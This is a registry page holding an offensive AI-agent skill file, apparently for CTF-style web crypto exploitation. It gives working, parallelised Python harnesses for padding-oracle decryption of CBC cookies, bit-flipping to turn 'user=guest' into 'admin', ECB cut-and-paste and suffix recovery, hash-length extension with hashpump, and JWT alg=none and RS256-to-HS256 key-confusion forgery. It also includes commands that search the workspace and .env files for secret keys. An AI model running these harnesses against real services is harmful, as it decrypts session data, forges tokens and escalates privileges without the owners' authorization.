Web crypto exploitation — padding-oracle (Vaudenay), AES-CBC bit-flipping / IV manipulation, AES-ECB pattern attacks (cut-and-paste, prefix/suffix recovery), HMAC bypass, hash-length extension, JWT alg confusion. Covers detection signals, working in-file Python harnesses (concurrent.futures, timeout=5, python3 -u, bounded request budget), and the confirm-oracle gate that must fire before iteration.
61
72%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/exploit/web/crypto/SKILL.mdExploits applications that misuse symmetric ciphers (CBC/ECB), MACs (HMAC, hash-length extension), or token signers (JWT). The decisive trick is almost always: find the oracle, prove the oracle is real, then iterate within a hard request budget. Without the proven oracle the attack burns the cycle.
Check if the application key is hardcoded in source. CTF challenge apps frequently embed keys in source code. If you have filesystem access to the app, run this before any network probe:
# Find app source in the workspace
find /workspace -name "*.py" -o -name "*.js" -o -name "*.rb" -o -name "*.php" 2>/dev/null | head -20
# Grep for hardcoded keys
grep -rn 'AES_KEY\|SECRET_KEY\|key\s*=\s*[b'"'"'"'"'"'"'"'"']\|password\s*=' /workspace/*/app/ 2>/dev/null | head -20
# Also check environment files
cat /workspace/*/.env 2>/dev/null; cat /workspace/*/app/.env 2>/dev/nullIf the key is found, decrypt offline immediately — no oracle, no network requests:
import base64
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding as crypto_padding
KEY = b'C' * 32 # replace with discovered key
cookie = "<base64-cookie-from-browser>"
raw = base64.b64decode(cookie)
iv, ct = raw[:16], raw[16:]
cipher = Cipher(algorithms.AES(KEY), modes.CBC(iv))
pt = cipher.decryptor().update(ct) + cipher.decryptor().finalize()
# Remove PKCS7 padding
unpadder = crypto_padding.PKCS7(128).unpadder()
plaintext = unpadder.update(pt) + unpadder.finalize()
print("plaintext:", plaintext)Only proceed to the oracle-based attack below if no key is found in source.
Trigger this skill when ANY of the following are present:
len(b64decode(token)) % 16 == 0 and not 32 or 48 → likely 1-2 blocks of CBC; % 16 == 0 with 32-64 bytes → IV+ciphertext pattern.Authorization: Bearer <three-base64-segments-separated-by-dots>. Always inspect alg header (alg=none, alg=HS256 with public-key confusion, alg=RS256→HS256 substitution).MD5(secret || message)).crypto, cipher, oracle, captcha, encrypted_captcha, padding, hmac_bypass, jwt, length_extension.STOP — before iterating any payload, prove the oracle is real. The single most common mis-allocation here is hammering thousands of padding-oracle requests against a server whose two error modes are actually identical. The gate is one in-file probe that issues exactly two requests and prints both responses side-by-side.
Layout detection (run before the gate): Decode the token and determine the IV/CT layout. AES-CBC tokens always use IV(16) || CT(16 * N) — the first 16 bytes are always the IV. Confirm:
import base64
raw = base64.b64decode("<TOKEN>")
print(f"total bytes: {len(raw)}, blocks: {len(raw)//16}")
# len==32 → IV(16) + 1 ciphertext block (16 bytes of plaintext)
# len==48 → IV(16) + 2 ciphertext blocks (32 bytes of plaintext)
# len==64 → IV(16) + 3 ciphertext blocks (48 bytes of plaintext)
# The IV is ALWAYS raw[:16]. Ciphertext is raw[16:].Also identify the correct cookie/parameter name. Check the response headers from a GET request to confirm the cookie name:
curl -sv "$TARGET/" 2>&1 | grep -i 'set-cookie'Use that exact cookie name (e.g. captcha, session, token) in every subsequent request.
timeout 60 python3 -u -c '
import base64, requests, sys
URL = "https://<TARGET>/decrypt"
TOKEN = "<base64-cookie-or-token-from-recon>"
ct = bytearray(base64.b64decode(TOKEN))
# Probe A: flip the LAST byte of the SECOND-TO-LAST block (corrupts plaintext padding of last block)
flipped = bytearray(ct)
flipped[-17] ^= 0x01
# Probe B: completely random ciphertext (corrupts MAC/auth too, not just padding)
import os
random_ct = bytearray(os.urandom(len(ct)))
for label, payload in [("flip-pad", flipped), ("random", random_ct)]:
b64 = base64.b64encode(bytes(payload)).decode()
r = requests.get(URL, cookies={"token": b64}, timeout=5)
sys.stdout.write(f"=== {label} === status={r.status_code} len={len(r.content)} body={r.text[:200]!r}\n")
sys.stdout.flush()
' 2>&1 | tee oracle_gate.txtPass criteria (any one):
If gate FAILS (no pass criterion met before the harness's outer timeout fires): the two failure modes are indistinguishable from the network — there is no oracle on this endpoint. Hand back to recon with "no padding oracle observable on <endpoint>; check other endpoints or token sinks".
If gate PASSES: continue with the targeted attack below. Capture the flip-pad and random responses as the oracle's "VALID-PAD" and "INVALID" templates.
Oracle predicate — generic formulation (critical):
The oracle has exactly TWO observable states: "padding valid" and "padding invalid." The INVALID state is the one consistent with fully-random ciphertext (your random probe above). Define your predicate as:
# KNOWN_BAD = (status_code, body_prefix) from the random probe
KNOWN_BAD = (r_random.status_code, r_random.text[:200])
def valid_pad(response):
return (response.status_code, response.text[:200]) != KNOWN_BADDo NOT hardcode status == 403 or "Invalid padding" in text as your oracle check. Many Flask/Express apps raise uncaught exceptions (HTTP 500) when they successfully decrypt garbage plaintext that fails downstream processing (UTF-8 decode, JSON parse, session deserialization). These 500s ARE valid-pad signals — they differ from the random-ciphertext response, so valid_pad() returns True correctly. If you hardcode the status check, you will treat 500s as failures and burn the entire request budget on byte positions that actually succeeded.
Decrypt a CBC ciphertext one byte at a time by manipulating the previous block's bytes and asking the oracle whether the resulting padding is valid.
timeout 600 python3 -u -c '
import base64, concurrent.futures, requests, sys, os
URL = "http://<TARGET>/" # adjust path/method to match the vulnerable endpoint
TOKEN = "<base64-blob>" # base64 cookie value captured from recon
COOKIE_NAME = "captcha" # use the EXACT cookie name from Set-Cookie header
BLOCK = 16
MAX_REQUESTS = 4096 # hard budget — abort if we hit it
# Generic oracle predicate: derive KNOWN_BAD from a random-ciphertext probe first.
# Do NOT hardcode status codes — 500s from downstream decode errors ARE valid-pad signals.
ct = base64.b64decode(TOKEN)
assert len(ct) % BLOCK == 0
blocks = [ct[i:i+BLOCK] for i in range(0, len(ct), BLOCK)]
session = requests.Session()
budget = [MAX_REQUESTS]
# Calibrate oracle: send fully-random ciphertext, record the response signature
_rand = os.urandom(len(ct))
_r = session.get(URL, cookies={COOKIE_NAME: base64.b64encode(_rand).decode()}, timeout=5)
KNOWN_BAD = (_r.status_code, _r.text[:200])
sys.stdout.write(f"KNOWN_BAD (random ciphertext) = {KNOWN_BAD}\n"); sys.stdout.flush()
def is_valid_pad(forged_iv, target_block):
"""Returns True if oracle says padding is valid (response differs from KNOWN_BAD)."""
if budget[0] <= 0:
raise RuntimeError("request budget exhausted")
budget[0] -= 1
blob = base64.b64encode(forged_iv + target_block).decode()
r = session.get(URL, cookies={COOKIE_NAME: blob}, timeout=5)
return (r.status_code, r.text[:200]) != KNOWN_BAD
def crack_block(prev, target):
"""Recover plaintext of `target` by manipulating `prev`."""
intermediate = bytearray(BLOCK)
for byte_idx in range(BLOCK - 1, -1, -1):
pad_value = BLOCK - byte_idx
# Try every possible byte at byte_idx until oracle reports valid padding
forged = bytearray(BLOCK)
for k in range(byte_idx + 1, BLOCK):
forged[k] = intermediate[k] ^ pad_value
# Parallelize the 256-byte search (bounded workers)
with concurrent.futures.ThreadPoolExecutor(max_workers=16) as ex:
futures = {}
for guess in range(256):
f = bytearray(forged)
f[byte_idx] = guess
futures[ex.submit(is_valid_pad, bytes(f), target)] = guess
for fut in concurrent.futures.as_completed(futures):
if fut.result():
intermediate[byte_idx] = futures[fut] ^ pad_value
break
else:
raise RuntimeError(f"no valid pad found at block byte_idx={byte_idx}")
plaintext = bytes(intermediate[i] ^ prev[i] for i in range(BLOCK))
return plaintext
recovered = b""
# block 0 is the IV; decrypt blocks 1..N using their predecessors as "prev"
for i in range(1, len(blocks)):
sys.stdout.write(f"=== decrypting block {i} (budget left {budget[0]}) ===\n")
sys.stdout.flush()
pt = crack_block(blocks[i-1], blocks[i])
sys.stdout.write(f"block {i} plaintext: {pt!r}\n")
sys.stdout.flush()
recovered += pt
sys.stdout.write(f"=== full plaintext: {recovered!r} ===\n")
' 2>&1 | tee padding_oracle.txtRequest budget per block: 16 bytes × 256 guesses = 4096 requests worst case (this is the algorithm's hard upper bound for one CBC block under Vaudenay; not a tunable). Parallelism reduces wall-clock but does not reduce the request count. Do NOT push max_workers past the sandbox throttling threshold (around 32 — higher values trigger rate-limit WAF rules and crash the single-threaded dev servers most CTF challenges use).
First-block verification: the FIRST plaintext block is the diagnostic — if it has not returned after a reasonable harness run AND the request budget has not yet been exhausted, KILL the harness and revisit:
KNOWN_BAD and a few live responses — verify (status, body[:200]) != KNOWN_BAD fires on valid-pad cases.max_workers to 4 and rerun.MAX_REQUESTS, or accept this server is too slow and switch to a non-oracle attack.When the application decrypts CBC and trusts the plaintext (e.g. role flag in a cookie), flipping bytes in block N's ciphertext flips the same bytes in block N+1's plaintext (block N+1 itself is corrupted to garbage).
# Known plaintext at position i → desired plaintext at position i.
# Flip ct[block_n][offset] ^= known_pt[i] ^ desired_pt[i]
import base64
TOKEN = "<base64>"
ct = bytearray(base64.b64decode(TOKEN))
# E.g. flip "user=guest" → "user=admin" inside block 1, byte 5
KNOWN, DESIRED = b"guest", b"admin"
for i in range(min(len(KNOWN), len(DESIRED))):
ct[i + 5] ^= KNOWN[i] ^ DESIRED[i]
print(base64.b64encode(bytes(ct)).decode())Block N is destroyed by the flip — make sure block N's plaintext is one the application doesn't sanity-check (e.g. timestamp / nonce that's never read).
Two identical 16-byte plaintext blocks produce two identical 16-byte ciphertext blocks under ECB. Detect:
import base64
ct = base64.b64decode("<TOKEN>")
blocks = [ct[i:i+16] for i in range(0, len(ct), 16)]
print("blocks:", len(blocks), "unique:", len(set(blocks)))
# unique < total → ECB confirmedIf the application encrypts <attacker-controlled prefix> | <user-data> | <suffix> under ECB and lets the attacker register/login multiple times, you can capture aligned blocks containing chosen plaintext (e.g. admin\x0b\x0b\x0b...) and splice them into another user's token.
# 1. Register a user whose name positions "admin" + valid PKCS7 padding into a clean block.
# 2. Capture that ciphertext block.
# 3. Register a normal user. Capture their token.
# 4. Replace the block holding "user" with the block holding "admin".
# 5. Submit forged token.If you can prepend bytes to a secret suffix (e.g. flag) that the server encrypts under ECB:
BLOCK_SIZE."A"*(BLOCK_SIZE-1), capture block, then for each g in 0..255 send "A"*(BLOCK_SIZE-1) + g, compare blocks — match reveals the byte.If the MAC is MD5(secret || message) or SHA1(secret || message) (no HMAC construction), and you know len(secret) + len(message) and the MAC, you can append data and compute a valid MAC without knowing the secret. Tooling: hashpump or hash-length-attack (Python).
# hashpump: append "&admin=true" to a signed message
hashpump -s <orig_mac> -d "<orig_message>" -k <secret_len_guess> -a "&admin=true"alg=none: strip signature, set header {"alg":"none","typ":"JWT"}, set payload, send <header>.<payload>. (empty signature). Many libraries accept it.alg=HS256 w/ public-key confusion: server uses verify(token, public_key). Re-sign the token with HMAC-SHA256 keyed by the server's RSA public key (PEM bytes). Same library now mistakes "HS256" for "RS256" verification using the public key as the HMAC key.alg=RS256→HS256 substitution: same as above — flip the alg header in the token.import base64, hashlib, hmac, json
HEADER = base64.urlsafe_b64encode(json.dumps({"alg":"HS256","typ":"JWT"}).encode()).rstrip(b"=")
PAYLOAD = base64.urlsafe_b64encode(json.dumps({"user":"admin"}).encode()).rstrip(b"=")
PUBKEY_PEM = open("server_public.pem","rb").read()
sig = hmac.new(PUBKEY_PEM, HEADER + b"." + PAYLOAD, hashlib.sha256).digest()
SIG = base64.urlsafe_b64encode(sig).rstrip(b"=")
print((HEADER + b"." + PAYLOAD + b"." + SIG).decode())MAX_REQUESTS and abort when it hits zero. A misconfigured oracle template can run forever otherwise.python3 detector.py > /tmp/log 2>&1 & + tail -f — if tmux pipe degrades the tail returns nothing forever and you cannot tell whether the script is alive. Prefer inline timeout 600 python3 -u -c '...' | tee log.txt.while True: r = requests.get(...). Wrap every loop with a max-iterations bound and break on success.python3 -u for line-buffered stdout. Without it, you cannot tell live progress from a wedge.max_workers on concurrent.futures.ThreadPoolExecutor. 16 is plenty for the 256-byte search; >32 triggers sandbox throttling and rate-limit WAF rules.requests.Session() timeout=5 on EVERY call (not just the gate).edit_file on a script that is currently producing results — the restart loses intermediate state, generates a new challenge session (new captcha/cookie), and invalidates everything already recovered.pkill -f 'python3.*<port_or_target>' 2>/dev/null. One harness at a time.In sandbox: python3 (with requests, cryptography, pycryptodome), hashpump, openssl. NO padbuster.pl (Perl is not installed). Build padding-oracle attacks with the harness above, not a third-party CLI.
Crypto attacks are confirmed when:
/admin returns admin content) AND a baseline-unflipped token does NOT.admin=true flips role) AND the MAC validates without the secret../
├── oracle_gate.txt # Confirm-oracle gate output (PASS/FAIL evidence)
├── padding_oracle.txt # Vaudenay run log + recovered plaintext
├── ecb_blocks_<target>.txt # ECB block analysis (uniqueness, repeats)
├── jwt_forged_<target>.txt # Forged JWT + verification trace
└── crypto_<target>_summary.md # What was tried, gate result, evidence traile34afba
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.